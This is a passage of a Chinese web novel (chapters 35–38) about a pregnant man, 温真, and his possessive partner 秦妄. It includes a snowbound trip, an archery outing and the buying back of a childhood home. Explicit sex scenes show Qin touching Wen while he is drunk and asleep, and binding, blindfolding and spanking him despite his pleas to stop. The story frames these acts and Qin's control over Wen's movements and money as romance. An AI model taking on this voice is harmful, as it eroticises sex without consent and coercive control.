雪越下越大了,路上有了积雪,出租车司机没敢开太快,温真越来越晕,身体也像是发烧了一样潮热湿黏。 还没到宾馆,温真便让司机把他放下来,外面寒冷的空气一吹,温真脑子还是晕,但不那么热了,攥着名片,摇摇晃晃地往宾馆门口走去…… 门口站着一位剃寸头,穿昂贵西装,异常高大的男人,男人面容冰寒,没人敢靠近他。 温真视线没有聚焦地停留在他脸上。 冰天雪地,琥珀色的眼睛像琉璃珠一样洁净。 秦妄猛地咬碎嘴里的薄荷糖。 【📢作者有话说】 放心,是梅子酒,度数很低,温真会醉是因为酒量太差了,不会对宝宝有危害^ ^ 35 ? 第 35 章 ◎又疼又麻,几乎没有知觉了◎ 秦妄走上前, 掐住他的下巴, “装不认识?” 脸冰凉雪白, 和雪似的,脸颊两团晕红,看着他,睫毛扑闪着,忽然弯起眼睛。 对着他笑了。 心脏剧烈跳动后又骤缩,秦妄囫囵吞下薄荷糖的碎渣, 对于他一声不吭地跑了的气刚要消,便又闻到他呼出来的酒味。 秦妄凑近他,酒味越发浓郁了, 怪不得不害怕他了, 原来是喝醉了。 秦妄直接把他夹抱起来。 刚跟过来的路明远看到这一幕,感觉天都要塌了。 “秦总!秦总!你怎么来了?!”怎么不提前说一声啊! 秦妄神情凛然极了, “我让你给我看好他, 你就是这样给我看的。” 路明远简直有苦说不出, “抱歉,秦总,我的失职!”喝酒也是个人自由,他也不能冲到饭局上把酒夺过来啊! “他住那个房间。” “带路!” 路明远赶紧在前面带路,用房卡打开温真房间的门, 略微发黄的墙壁, 不知道多少年前的大床。 秦妄扫了一圈,把温真放在床上,捏他的下巴, 又是心疼, 又是生气。 “一声不吭地跑了, 就来住这种地方。” 以前不认识他就算了,现在秦妄恨不得让他住在宫殿里,下床去洗手间他都想抱着。 让他住在大房子里,专门有人伺候他,为什么非要去上班,非要跑到这里受罪。 酒店房间开着暖气,温真穿了一个羽绒服,没一会儿脸便热得潮红,他脑子晕得厉害,听不明白秦妄的话,只是盯着秦妄的脑袋。 盯了半晌,忽然伸出手。 秦妄让温真坐在床上,他蹲在地上,仰着脸正训他为什么喝酒,头皮忽然被柔软的东西覆盖住了。 像是一朵轻飘飘的云朵落了上去,温真开始抚摸他的头皮。 白皙的指尖来到他结痂的伤疤上,碰触着,然后露出伤心又不知所措的神情。 “心疼吗?”秦妄哑声问。 “……嗯。”温真抱着他的脑袋,脸庞贴在他头皮上,轻轻地叫,“之浸……” 秦妄的脑子开始嗡鸣。 秦妄抱着他去洗澡,洗澡的时候发现他手里紧紧攥着东西。 他一下还没掰开,掰了三下才掰开,看见一张名片。 洗完澡后,他给温真穿上浴袍,抱着他到床上。温真脸被热气蒸得发红,眼睫投下一片阴影,秦妄亲了亲他的眼睛…… 他最爱的地方…… 余光瞥见那张名片,他眸色暗了暗,轻轻地咬他的眼皮…… 昏睡的温真嘤咛一声…… 他到被子里面…… 头颅在里面不停地动…… 没一会儿温真便满脸晕红…… 第二天早上,温真睁开眼睛,看见贴着自己颈窝的脸,又惊又羞,挣动起来。 秦妄也醒了,箍住他,垂眼盯着他。 “你……怎么来了……”不仅来了,甚至还进了宾馆和他睡在一起……他完全忘记昨天和老师告别后发生什么事情了。 “不来还不知道你敢喝酒。”秦妄和他抵着额头。 “是和老师喝的,没有办法拒绝……”温真解释。 秦妄用鼻子触缠绵地蹭他的脸,然后□□他红肿的唇瓣。 声音有些哑,还有点发凉,“只和老师喝的?没其他人吗?” “……嗯。” “我还要去听课……” 还以为又要说不许去,没想到秦妄放开了他。 温真掀开被子,然后才发现,自己浴袍到腹部那里……底下的床单洇湿了一片,坐起来后又疼又麻,像被狠狠磨过一样,月长得几乎没有知觉了…… 昨天晚上…… 温真羞窘地看了秦妄一眼。 秦妄神色坦然,容光焕发。 温真轻轻穿好衣服后,路明远送来了早餐,吃完后,路明远开车,送温真去展馆。 车里的挡板升起来了,男人盯着温真。 “我要看我儿子。 ” 温真攥紧他的领带,“回去,回去再看……” 秦妄就那样盯着他。 过了一会儿,温真颤抖地掀开衬衣,把自己越来越圆润的孕肚暴露在空气中…… 一个男人肚子却这样,还在白天露出来,给男人看,这让温真羞耻极了,脸颊微微晕红起来…… 秦妄把手放上去,几乎可以完全覆盖住整个孕肚了,粗糙的掌心在上面揉捏着,手腕上的表偶尔会碰到…… 又凉又痒…… 温真轻轻颤抖…… 很快感受到肚子里的宝宝踢了他一下…… 温真愣住了,然后有些惊喜地看向秦妄。 “第一次踢你?”秦妄轻声问。 “嗯。” 接着他朝宝宝踢地方捏了一下,严厉地训斥他,“不许折腾你妈妈。” 妈妈…… “应该是爸爸……”温真难为情地纠正他。 秦妄整理好他的衬衣,“你是爸爸,那我是什么?” 温真一时答不上来了。 这个时候展馆也到了,秦妄下车,“结束了和我打电话,我过来接你。” 然后看着温真走进去。 秦妄回到车上,路明远道:“房子的主人现在在国外,他让他外甥女和我们签合同。” 一个小时后他们到达了温真家门口。 人还没来,秦妄下车,站在门口往里面看,长时间没人住,院子里很荒凉,墙壁也发黄了,显出破败。 房子卖了之后便一直没回来过,回来后看见自己曾经生活过的家变成这副景象,还不能走进去。 心中是什么滋味? 外甥女是个三十多岁的事业型女士,她笑着和他们打招呼,然后用钥匙打开了门,“走吧,我们进去,你们先看看,再考虑要不要买。” 秦妄和路明远跟着她进去。 是一个三居室,客厅宽敞,从落地窗能看到龙云湖旁边的树,一间卧室大一点,应该是主卧,其中一间贴了许多卡通画。 秦妄走进去,一张破旧的桌子放在窗户旁边,抽屉开着,露出一个本子。 秦妄抽出来看,上面工工整整写着温真两个字。 女士道:“我舅舅看这里地理位置好,买下来是给我表哥做婚房,但我表哥一毕业就去国外,又在国外定居结婚生子,我舅舅他们夫妻也过去了,这套房子没什么用处了,所以打算卖掉。” “这房子买来之后就一直空着,你手里的东西应该是上一任房主的。” “你要是觉得行的话,今天我们就把合同签了。” *** 今天是进修课程的最后一天,唐泽川逐个评价了他们交上来的作品。 他是个体面温和的教导者,只是很隐晦地说出每个人的缺点。 最后到温真时候,他停顿了一下,“看到第一眼的时候,我很震撼,心脏被狠狠一击的感觉。” 被一位大师这样夸赞,这对缺乏信心,缺乏认同的温真来说无异是最好的鼓舞,温真心潮澎湃起来,他抬起头。 唐泽川正面带欣赏的微笑看着他。 “唐泽老师,听说你这这里有一家室内的马场,可以带我们去参观参观吗?”有人起哄。 “当然可以。” 本来该上午结束的进修课程,因为要去参观唐泽川的室内马场而耽误到了下午。 马场离展馆不远,他们一行人走着过去,路上时,温真发短信给男人, 男人似乎在忙,没有回复他。 室内马场是一个类似于巨型的蒙古包,上面吊着一盏一盏灯,下面铺设着泥土,那些马儿都有各自的马厩。 唐泽川带着他们先看马,有人问,“唐泽先生,你是不是很喜欢马啊?” “你的作品经常出现马的元素,最经典的就是阿尔巴那。” 唐泽川微笑,“马是温驯的动物。” 温真跟在后面想,原来他和男人一样喜欢马…… 另一边的秦妄签好合同,和路明远离开温真的家,路上打开手机看到温真给他发的短信- 要晚一些回去,要去唐泽先生马场参观。 秦妄皱眉- 我的马场不够你看。 温真没有回复。 唐泽川的马场是对外营业的,秦妄和路明远开车过去,买了票便进去了。 其他的同伴都换上了骑行装,打算骑个两圈,温真没有换衣服,他坐在一旁的休息区域静静待着。 “你不骑?”唐泽拿了一瓶水给他。 “……谢谢。”温真接过,“我……身体有些不舒服。” 他害怕伤害到宝宝……而且骑马会让他想起一些脸热的事情…… “射箭呢?射箭可以吗?”唐泽川道。 “我没有射过箭……我……” “我教你,来吧。” 温真犹豫了一下跟着唐泽川去射箭的区域。 射箭之前要戴上护臂和护指,保护椎弓手和手指,唐泽川自己先示范怎么戴,温真看了一遍后,自己戴好。 接着唐泽川拿来三把弓箭。 “这三把分别是长弓、回旋弓和复合弓。长弓是最简单和最传统的弓型,如果你想拥有传统体验的话,可以用这个。 回旋弓主要是在力量和精度之间提供平衡。 复合弓比较高科技,能够减少手指拉力,这样射击的精准度会更高。” “你想要用那个?” 温真选了最传统的长弓。 唐泽川笑了一下,“我最常用这把。” 那么有名气的前辈,面对自己的时候,不会高高在上,反而欣赏自己,相处时又温声细语,体贴关照。 温真睫毛颤动着,也跟着笑了笑。 “射箭姿势也很重要。”唐泽川给他示范。 “你看我,身体要正对着靶子,双脚与肩同宽,然后保持重心均匀分布在两脚上。”唐泽川站直,微微分开双脚。 温真认真地跟着他做。 “弓要垂直于地面,弓臂伸直并与肩同高。我们的头要对着靶面,眼睛平视前方,对准黄心或黄心垂直线上方的固定位置。” 温真举起弓,瞄准靶子的黄色区域。 接着是拉弦动作。 “下巴要靠近弓弦附近,拉弦时需保持上半身稳定,然后快速平稳地松开弓弦。”唐泽川说完,他的弓弦便嗖地一声射到靶子上,正中黄心。 唐泽川看手持弓箭的姿势有些不对,放下自己的弓箭,走过去,绅士道:“你不介意我调整一下你的姿势吧?” 都是男生,温真摇头,“没关系……” 于是唐泽川按着他的双肩让他往下一点,手臂环过去帮他调整弓箭的位置…… 看着便像是从后面抱住温真一样。 “你看。”一个女生碰了碰另一个女生的肩膀,“是唐泽先生和温真……” “唐泽先生应该很欣赏温真吧,我第一次听他那样夸赞别人。” “如果我要是温真,现在肯定觉得自己是最幸福的人,同行业有威望的男人当众不留余力地夸奖自己,和自己相处时又温和体贴,而且还长得英俊儒雅。” “就算是爱上他也情有可原。” 一旁的两个女生窃窃私语,路明远听得一清二楚。 路明远擦擦脑门上的汗,看向秦妄。 男人面色平静,可有时候平静和怒气相比,平静更令人恐惧,而且…… 上次他这么平静,是他亲自把他二哥秦文商送牢里面去了。 36 ? 第 36 章 ◎被打了……◎ 温真第一次玩这种东西, 当弓弦脱离自己的手射中靶子时,他内心涌起不可言说的兴奋, 这是他自从毕业之后便没有过的。 不知不觉已经玩了两轮了,唐泽川停下,看向温真。 室内马场热,温真的棉袄脱下了,穿一件衬衣和黑裤,胸口那里起伏着软润的弧度, 西裤也勾勒出他饱满的两瓣……脸庞微微潮红,琥珀色的眼睛潋滟着光芒,和稚嫩青涩的年轻男孩不同, 要更有魅力, 更成熟,更有感觉。 唐泽川捻揉地弓弦后面的羽毛, 问他, “要不要再玩一轮?” 温真放下弓箭, 一点一点擦去额头上的汗,露出温和又感激的微笑,“……不用了。” 唐泽川点头,“那我们去其他人那里看看。” 工作人员过来把他们的弓箭收回,温真拿着外衣跟着唐泽川到其他同伴那里, 走到出入口那里, 一个肃冷的背影一闪而过,温真心脏重重一跳。 ……是他吗? 可随即温又觉得应该是自己看错了,如果他来了, 会给自己打电话, 也不会一声不说地便离开。 温真脸庞发热, 一个上午,他已经想男人好多次了,现在又把一个不相干的人看成是他…… “看见什么了。”唐泽川问。 温真摇摇头。 “啊!啊!救命啊!”马载人活动的区域忽然传来一道凄厉声音。 温真和唐泽川都看过去。 一头棕色马载着一个女生正朝前狂冲,一些工作人员跑过去,试图拦截棕马,然而又被马的速度吓得不敢靠近,只能指示女生,“抓紧缰绳!” 女生太害怕了,没有听明白工作人员的意思,反而松开了缰绳,她从马上摔下来,工作人员纷纷跑过去,检查她有没有受伤。 唐泽川神色紧张地走过去。 温真也跟过去。 女生没有受伤…… 那匹马还在往前冲,冲到温真刚才射箭的区域,撞翻了围栏,然后一头撞在靶子上,整个身体往右边一翻,彻底倒下了,发出痛苦的叫声。 唐泽川让人先把女生送到医院去,带了两个工作人员过去。 温真知道女孩子没有受伤后,便开始担心那匹马,因为他知道很多马场,如果一旦出现马在栽人时受惊的情况,那今后它就可以会被马场放弃掉…… 马的后腿蜷着,一颤一颤的,发出痛苦的呻吟,温良的眼睛湿漉漉的。 温真心跟着一紧。 而唐泽川站在不远处,神情淡淡的,既没有心疼,也没有伤心,像是在看一个无关紧要的商品。 温真盯着他的神色,这一刻他又想起秦妄…… 他们两个都喜欢马…… 如果这件事发生在男人的马场,他不会置之不理地站在一旁,而是会蹲下高大的身躯,安抚它,亲自给它检查,然后包扎…… 可随即温真又想,这个假设是不成立的,,他的马场不对外开放,他不会用自己心爱的东西盈利,所以也根本不可能出现这样的事情。 唐泽川似乎是感受到他的目光,露出一个绅士礼貌的微笑,“是不是吓到了,这里交给他们就好了,我们走吧。” 温真走出去很远,还在回头看那匹受伤的马…… 下午四点钟他们参观马场结束了,也预示着他们这次的进修也彻底结束了,几个女生依依不舍,不知道是谁提议的,让拍一张照片。 温真站在后面,有一个女生把他挤到前面,正好和中间的唐泽川站在一起。 唐泽川冲他笑了笑,温真也露出客气的笑容,然后看向镜头。 拍照结束后,人陆陆续续坐车离开,温真打算离开时,唐泽川叫住他,“考虑得怎么样?或者还需要在考虑一段时间?” “抱歉,我……”温真垂下眼帘,有些惭愧道:“……谢谢你那么欣赏我,不过,我还不想离开我现在的上司和同事。” 唐泽川神情滞了一下,然后面无表情地看着温真,“一个人身处一个地方时间久了,会产生惰性,不愿意改变,以你现在的能力,留在你现在的公司是大材小用。 “说实话,你这个决定让我觉得很可惜,我一直觉得你和其他人不一样,你不应该是一个目光短浅的人。” “抱歉……” 说完这番话,唐泽川离开了,温真留在原地,他没有目光短浅,他只是觉得,留在现在的公司,自由度更高,可以百分百的掌控自己的作品,如果去唐泽川的公司,他要根据唐泽川的风格来改进,那并不是他想要的。 似乎是知道自己做了不被世人看好的决定,为了支持他,肚子里的宝宝动了一下。 像是肚子里有什么东西蠕缩了一下,又像是蝴蝶轻轻扇了一下翅膀。 温真神色变得温柔轻盈,隔着衣服摸了摸,“妈妈一个人时可以踢……” 说完温真脸庞微微泛红,他羞耻于自称妈妈。 “爸爸在的时候要乖一些,不然爸爸会生气……” 爸爸…… 这样脱口讲出来,温真的脸热得更厉害了…… 车子来了,温真两颊晕红,他忽然很想告诉男人马受伤的事情。 然而只有路明远一个人走下来。 他神色有些不对劲,压低声音道:“秦总有些忙,让我过来接你。” 温真掩下眸子里的失落,上了车,很快又发现车子走的方向不对。 路明远解释,“秦总觉得你住的宾馆环境不太好,所以换了一家,你的行李秦总已经拿过去了。” 温真点头。 车子开到半山的一家高档酒店,路明远带着温真一路上到顶层,在敲门之前,路明远低声提醒温真,“今天下午秦总去了唐泽川的马场,秦总看见你和唐泽川在射箭。” “我从读高中的时候就认识了秦总,这么多年,我没有见过他身边有人,他对你很不一般……今天他有点生气……” 生气…… 上次他生气是在作者大会的洗手间里,他被那样…… 温真不安起来,“……谢谢。” “这是我应该的。”路明远神色凝重地帮他打开门。 男人似乎不喜欢阳光充足的环境,房间依旧昏暗极了,温真从明亮的走廊进来后的一瞬,他什么也看不见,过了好一会儿才适应,打量着房间,开阔的大平层,一面墙的落地窗,可以俯瞰到整个城市…… 他一时没有看见男人,却感受到男人的目光黏腻湿滑地滚在自己身上,以及那过分粗重的呼吸,肋骨下的泵血器官重重地跳着,温真整个人都微微发抖…… “你……在吗?” 温真轻轻地问。 呼吸更重了,温真视线很快循着到窗户旁边的角落里,那地方比其他地方更暗一点,温真连男人的轮廓都无别辨别,只能看到一个异常庞大的黑影,散发出森然幽冷的气息。 温真惊惧起来,他保持着镇定,慢慢靠近。 黑影慢慢显出健硕弩张的轮廓,男人的脸在无尽的漆黑下显出一丝诡异的狰狞,陷在眼窝的眼睛像是某种冷血动物…… 温真怕得一步也不敢往前走了,男人很快站起来,像是一座山朝自己重重砸过来一样,温真瞬间汗毛耸立,需要异常努力才能克制住自己逃走的冲动。 他刚后退一步,男人便死死并箍住他的腰,低头在他脖子里嗅闻。 “玩得开心吗?”男人声音古怪。 滚烫的气息,令人恐怖的,脖子上的血管急促地跳动起来。 “……不,他的马场没有你的……大……他并不爱那些马……”温真颤抖着,轻轻地说。 “是吗?”男人轻轻吮住他的脖子,然后咬下去,尖牙仿佛刺入到肉里面,血管都要被咬破了,温真抖颤起来,抬起手抚摸他的头皮,男人呼吸更重了,接着一把把他抱到床上。 接下来…… 男人并没有做什么,面容冰冷平静,似乎已经不生气了,可是男人凝视他的目光,让温真并不能真正的放下心来。 然而时间越晚,温真的精神便越差,房间飘散出一种奇怪的香味,温真翕动着鼻子,迷迷糊糊时,温真感觉到一个黑影覆盖在他的身上,接着他的手腕被人扣住,举到头顶,金属撞击的声音,似乎是抽出了什么东西,冷硬的东西缠在自己手腕上,慢慢磨到肉里,温真蹙着眉挣动起来。 凉丝丝的布料覆盖在他眼睛上,绕到脑后,布料骤然收紧,摩擦着温真的敏感的眼皮。 温真急促地喘息着,彻底清醒了。 然而视野一片漆黑……一开始温真还以为是房间太暗了,可随即意识到自己的眼睛被人蒙住了,他想要手去解开,手也被硬邦邦的东西绑住了。 什么也看不见,又无法动弹,温真害怕地心脏几乎要跳出来了,“……之浸……之浸……” 只有沉重的呼吸,没有人回应。 他刚才根本没有消气…… 男人开始解开他衬衣,往两边扒开,让雪白红润的若隐若现地露出来,温真看不见,可是房间过于高的温度,让那里热得要融化了。 温真脸红得滚烫,“别……别……” 库子也被扯掉了…… 温真惊怕羞耻地挣动起来…… 又被男人翻过身,让他跪在了床上,腰背按下去,后面情不自禁地挺起来,颤动着。 即使看不见他知道自己是什么样子,温真难堪地攥紧床单…… 贴身的也被拽下了,暴露出来,剧烈地颤抖起来,空凋的热风正对他们刮,像是吹在上面了一样,难耐地呼吸蠕动着…… ‘啪’地一声,温真哆嗦地睁大眼睛…… 被打了…… 手掌完全拍打在上面,剧烈地摇晃颤动,雪白的从指缝溢出…… 战栗的疼麻,膝盖都支撑不住似的往两边滑……温真满脸被羞辱的红晕…… 只有小孩子不听话才会被打,可是现在,他被比自己小的男人打了,更令温真羞耻的是…… 男人发现了。 温真能感受到他在盯着。 双肩剧烈地抖颤起来,不堪的样子全被看到了。 那双手又抱着他的腰,又将他翻过来,挂在退弯上的库子扯下,整个都被掰开,几乎成平行,没有一丝遮挡,全部露给男人看,温真脑袋软绵绵地陷在枕头里,满脸羞耻的红晕…… 沉重的呼吸停下来后又重重地呼出,筋脉在快速跳动…… “别看,别看了……求求你……” 粗硬的头发在内侧蹭动,温真微微哆嗦,腹部一阵一阵地痉挛,很快毛刺一样的头皮便蹭在了唇瓣上。 想起上次,温真惊慌羞耻起来,“别……求求你……”连推他的脑袋都没办法推了,想要并紧双退又被男人箍住。 又被头皮磨了…… 细细密密的发茬滚扎着。 一些发茬随着用力钻进去,扎进他的柔嫩的肉里,腹部抽搐着,剧烈地痉挛起来…… 雪白的脖子高高仰起,双眼涣散 窸窣的声音,被握住了,然后是冰冷的布料缠在上面,猛地绑紧。 温真张大嘴巴发出痛苦地呼吸…… 发青的头皮蹭磨着,离开后整个头皮都是湿的,接着张开嘴巴,将痉挛的唇肉一口咬住在嘴里…… 温真猛地弓起腰…… 畸形的部位仿佛成了一块贝肉,在男人的舌头上滚来滚去,磨来磨去,滑蹭着男人的脸,从头皮一直到高挺冷硬的鼻梁,鼻梁狠狠往前一顶,瞬间陷入到唇缝当中了…… 温真哆嗦着,越来越强烈的酸楚和麻痒折磨着温真,让温真不知羞耻地主动贴住男人的鼻子和嘴…… 平展的成为圆的柱状,饱胀的同时又有诡异地满足感。 悍然探到深处,碾着温真急促缩绞的腔璧,仔仔细细地磨他酸楚的地方。 那里……仿佛成了需要男人舌头抚慰的母巢,自动为它分泌汁液,让它舔舐吸食…… 温真腹部缩颤着,已经分不清是痛苦还是什么,嘴巴淌出涎水…… 精神要崩坏了…… 不知道过去多久,手腕上的东西被解开,眼睛蒙着的东西也被拿掉,温真满脸红晕,涣散的双眼缓缓聚焦,先是看见自己狼藉的样子。 修长匀称的双退湿漉漉地泛着粉晕,被领带缠着,糜烂的红…… 还没有来得及羞耻,便看见男人赤luo着上身跪立着,垒成一块一块的肌肉弩张着,脸庞肃冷却又诡异的英俊,眼睛泛着不正常的猩红,手持着…… 温真对上他如大型猛兽进食之前的眼神,身子狠狠一抖后,又看见男人手中像是变异一样巨大的勃然怪物正对着他…… 意识到他要做什么后,温真惊恐地睁大眼睛…… 【📢作者有话说】 啊啊疯了 37 ? 第 37 章 ◎利用了你的误会◎ 巨大无比的…… 想到第一次时候, 它那么强悍凶猛…… 温真脸上血色一点一点褪去。 “之浸,之浸……你冷静一点……”温真颤抖着轻轻道。 男人充耳不闻, 拽住他的脚腕一拉,身躯撞在一起,几乎要碾进去了。 温真冷汗渗出,在强烈的恐惧下,他心思变得活络起来,忍着羞耻, 主动搂住男人的脖子。 秦妄微滞。 “那匹马载人受伤了,唐泽先生并不在意……如果是你的话,一定会安抚它, 给它检查伤口……” “我还看见……一个很像你的背影……” 温真不是一个会撒娇的人, 相反木讷迟钝,可此刻在恐惧下让他不得不说一些让男人冷静的话。 他说这些话是想表达, 他今天一直在想他…… 温真摸了摸他的头皮。 男人头发速度生长惊人, 才短短几天不见, 头发便长长许多,更加粗硬和凌厉,像一根根短刺一样耸立着。 温真忍着轻微的疼痛,一直在他头皮上摩挲,最后停留在他已经愈合的伤口上, 长出来的新肉像是打蜡了一样泛着粉色的光泽, 微微凸起来,温真指尖触碰上去…… 上面热得发烫,能感受到血液湍急流动…… 重重跳动起来, 又迅速地庞大了一倍, 像被刺激的巨兽, 猩红弩张,身上虬结的筋脉都一根一根地凸起来…… 温真瞥了一眼,瞬间心惊肉跳,暗叫不好,不应该摸他的伤口的。 他想收回手,可是晚了。 男人搂紧他,寒气慢慢消掉,身上那股非人的惊悚感也没有了,然而…… “让我进去。”声音沙哑极了,摩擦着温真的耳膜,温真在他怀里战栗地缩成一团。 “会疼的……”温真哀求道。 “上次你很爽。”男人用鼻子蹭他的鼻子,又伸出长度惊人的舌头,从他下巴一路舔到额头,“一直在流口水,床单也被你尿湿了。” 尿湿了…… 温真难堪极了。 “我用手,手给你好吗?” 木讷的青年从来没有想到有一天会说出这样不知羞耻的话,刚才被吓得苍白的脸涌起两团酡红。 “不好。”男人吮咬他,阴寒偏执道:“我要c你。” 温真抖颤起来,很快又想到一个借口,“那样会伤害到宝宝。” “四个月医生说可以同房。”男人双眸幽深,灼灼地盯着他。 室外雪越下越大,全封闭的房间,因为过高的温度蒸腾出水汽,让窗户凝了一层白雾。 宽大无比的双人床上,温真仰躺在床上,像是等待被执行枪决那样心惊胆颤地等待着,被抬高的时候心脏都要从嗓子眼里跳出来了,可是男人却不让他那么痛快。 而是把他的脚心按在头顶,温真惊慌又羞耻地想要缩回。 用脚心摩挲他的头皮…… 那样在他头皮上蹭动,酥痒从小腿一路到腹部,酸软战栗起来。 温真惊颤地咬住指头,唇瓣湿润地蠕缩着…… 等男人玩够了,脚从头顶落在肩膀……男人将他猛地一拉,紧贴上去,又烧又烫。 紧接着, “……唔!”温真脖子痛苦地仰高。 男人在他酸楚脆弱的地方又碾又磨,褶皱都被撑平,然后戳弄摩擦着……肚子明明胀得要破了,可又诡异地升起一股满足感。 像是多年来所有的空白都被填满了…… 雪无声地落下。 像被折磨得痴傻了一半,微微张着唇瓣,淌出口水,眼睛涣散…… “我爱你。” 耳边是男人魔鬼一样的爱语, 那些滚烫的流遍他身体的每一处,被标记,被占有,让他精神完全崩坏,彻底成为男人的专属物…… 和男人共同沉沦着…… *** “根据气象局的数据来看,这是宁城有史以来最大的雪,目前高速公路的积雪已经到达30厘米,高铁飞机等运输目前都已停运……” 薄平的屏幕里,正在播放着新闻。 秦妄慵懒地坐在沙发上,赤裸的胸腹泛着一层丝绒的光泽,他喝光杯子里的酒,关闭屏幕,走到床边,重新躺下去,看着正在熟睡的温真。 头发乌黑,脸庞白皙,两颊晕红,长长的睫毛垂落着,偶尔颤动一下。 秦妄凝着他,亲吻他的睫毛,鼻子,唇瓣。 仿佛整个脑袋都被含进了一个温热的容器里,被里面蠕动的肉舔吮着蹭弄着,腹部又开始泛酸发软…… 温真痛苦地睁开眼睛…… 被男人嘬咬在嘴里,口腔像是长了肉刺一样刮在上面,温真羞耻起来,“别……” 散架了一样,麻木酸痛,想到昨天晚上,温真睫毛颤动起来。 秦妄看他羞窘的样子,爱得不行,搂紧他,“亲我。” 温真脸红着,轻轻吻了上去。 就在秦妄把舌头侵入进去时,温真的手机响了。 是女儿的电话。 温真赶紧推开他。 “爸爸,你下午不用来接我了,我要和陈垚去看电影,到时候我自己回家。” 温真答应下来。 挂了电话后,温真骤然从刚才的温存中清醒,他神色复杂地看了男人一眼,又很快垂下眼。 他都要忘了,女儿和男人的事情。 如果女儿知道他和男人在一起了怎么办? 秦妄看他忧心忡忡的,立即猜到了他又在胡思乱想什么,把他抱在怀里。 男人的身躯好像又庞大了一些,他坐在男人的怀里像是小孩子……身上只穿了衬衣,两条却是裸着,温真慌忙盖住,男人却非要看,说要给他检查,原本紧紧闭拢的,被那样了一夜,到现在还没有合紧,濡湿嫣红极了…… 男人拇指按下去,便不知羞耻地去吸吮。 温真难堪地哆嗦,“别……” 倒也没做什么,给他穿好了裤子,套毛衣,穿上棉袄。 明明他比男人大,却像个小孩子一样这样被穿衣服,温真脸庞微微泛红。 给他穿好衣服后,男人抱着他去洗漱,又抱着他出酒店房间。 温真羞耻地挣动,“我自己走……” 男人充耳不闻,抱着他坐到车上。 路明远给秦妄一个袋子,秦妄打开,让温真拿在手里吃。 是温真最喜欢的三文鱼饭团。 城市里的积雪没有那么深,车辆还能通行,不过走得很慢,温真羞涩地啃完饭团,便有点昏昏欲睡,秦妄便把他的脑袋按在自己肩膀上,然后握住温真的手。 温真红着耳根挣动一下,然后回握住他的手。 到了目的地是温真都睡着了,男人又非要抱着他下去,直到站在房子的前面,温真才缓缓地睁大眼睛,然后看向男人。 男人让路明远开门。 于是他便抱着温真进了温真生活了十多年的家中。 温真从客厅走到爸爸妈妈的卧室,又走到自己的卧室。 把房子卖掉是为了给女儿治病,温真并没有后悔,当初搬出去的时候,也没有太伤心,可是现在重新回到这里,心脏才轻轻地闷痛起来。 路明远在后面适时开口,“这所房子秦总前天买下来了。” 买下来…… 温真眼眶泛酸…… 秦妄看了一眼路明远,路明远让他们单独相处。 “抱歉。”秦妄哑声道。 “为什么要说抱歉……”温真不解,他帮他做了那么多事情,不应该说抱歉。 “我骗了你。” 温真转过身来,面容红润,眸光温柔,“……骗我?” 秦妄滚动喉结。 昨天他为什么那么失控,是因为唐泽川和林云他们是一类人,体面温和,林云是温真的理想伴侣,那么唐泽川也是。 而且唐泽川和温真是一个行业的,温真会更加地崇敬他。 可当昨天温真主动抱住他说那些话,又让他意识到,温真对他不是完全没有感情。 这个时候,他必须主动坦白,为自己谋求一丝被原谅的生机。 “我和付钰宁没有任何关系。” “我利用了你的误会。” 38 ? 第 38 章 ◎第一次和别人这样◎ 温真脸上的血色瞬间消失。 骗他的…… 女儿没有和他早恋…… 秦妄抱住他, 脸贴在他颈窝里,“对不起。” 温真挣脱不开, 便不动了。 该生气吗? 可是温真又总是想到,他帮他赶走宁宁的爸爸,帮他拿回自己的奖杯,背着他下山,现在又把房子买回来。 该恨他吗? 可为什么又有点庆幸,他不喜欢宁宁, 宁宁也不喜欢他,他不用担心该怎么和宁宁解释孩子的事情。 也不用再因为……爱上他而受折磨。 *** 明明进去还是一副甜蜜的样子,可是出来, 一个脸庞沉郁, 一个双眼失神,虽然还是抱着, 但显出几分貌合神离。 路明远也不敢问什么, 帮他们打开了门。 车厢一路安静到酒店。 因为大雪封路, 暂时没办法回去,温真站在酒店的阳台上,和女儿打电话。 “宁宁,你现在还在和垚垚看电影吗?”温真盯着外面的雪山。 “爸爸暂时没办法回家,我和王奶奶打过招呼, 这两天你先去她家吃饭好吗?” “去……秦宝章家……” 温真沉默了一会儿, “……嗯,好。” 刚挂电话便被男人托住臀部抱起来,故意让他紧贴着, 感受他的滚烫和欲渴, 温真微微颤抖…… “现在雪停了, 预计后天交通恢复。” “回去之后,你可以去上班,但你要和我一起住。” 男人翻身压住他,亲吻他的眼睛。 温真睫毛轻轻颤抖。 秦妄呼吸微沉,捏开他的唇瓣,宽大的舌头顶进去,舔吮着最里面的蠕动的腔壁,喉管很快酸软酥痒。 温真脸颊潮红着,情不自禁地张大嘴巴,随即又意识到自己此刻的样子有多么的不知廉耻…… “我爸知道你怀孕了……”男人从脖子一路亲吮到孕肚。 知道了…… 肚子越来越大,平躺着能看见一块凸出来的球,雪白的,圆滚滚的,丰腴的孕态,明明是男人却这副样子。 现在被他的家人也知道了…… 密密麻麻的亲吻落下,头皮磨蹭,麻酥酥的痒意,温真轻轻哆嗦。 意识到什么,温真徒劳地闭紧,很快被掰开了。 那里变成了男人舌尖上的一块宝贝一样,来回地舔吃,所有蠕缩在一起的东西,都被男人一点一点地舔平,吮弄他最酸软的部位,然后含住一小块发狠地嘬吸。 明明在生气,可还是情不自禁地分泌出汁液喂食男人。 温真脸庞潮红,难耐地喘息着。 被困在这里,还要工作,秦妄在开视频会议。 女儿要交课外辅导费,因为跑神,温真转钱输错好几次密码,银行账户暂时被锁定,温真怕别人都交了,只有女儿一个人没交,女儿会被嘲笑,他看了看男人在阳台上开会的背影,想了想,去找路明远。 “转钱?多少?”路明远面带微笑,内心却在惶恐。 “……五千。”温真歉疚道:“我不小心输错密码了,暂时没办法转钱,等我去银行解开,我会还给你。” “没关系,没关系。”路明远苦笑。 看着他给女儿转过去,温真感激地向他道谢。 “不用谢,您太客气了。”路明远擦擦汗。 明明最应该求助的人是秦妄,却反而来找他。看来还是生气! 温真回去后,秦妄刚开完会,面容有些阴郁,问他,“去什么地方了?” “……外面。” “以后去什么地方都要和我说。” 温真睫毛颤动着,一言不发地躺下了。 过了一会儿,有人敲门,秦妄走出去。 路明远小心翼翼道:“秦总,刚才温先生说自己的账户被锁定,借了我五千块钱。” 虽然不知道两人在为什么吵架,但是避免殃及池鱼,路明远还是打算识相点,主动向他坦白。 秦妄把钱还给他,回到房间,把背对他的温真转过来,盯着他。 “你要多少我给你。”秦妄箍住他的腰,轻轻地吻他的眼睛,声音却发凉,“不许向别人借钱。” 雪停了,街道上到处都是穿马甲的人在清理积雪,道路畅通起来。 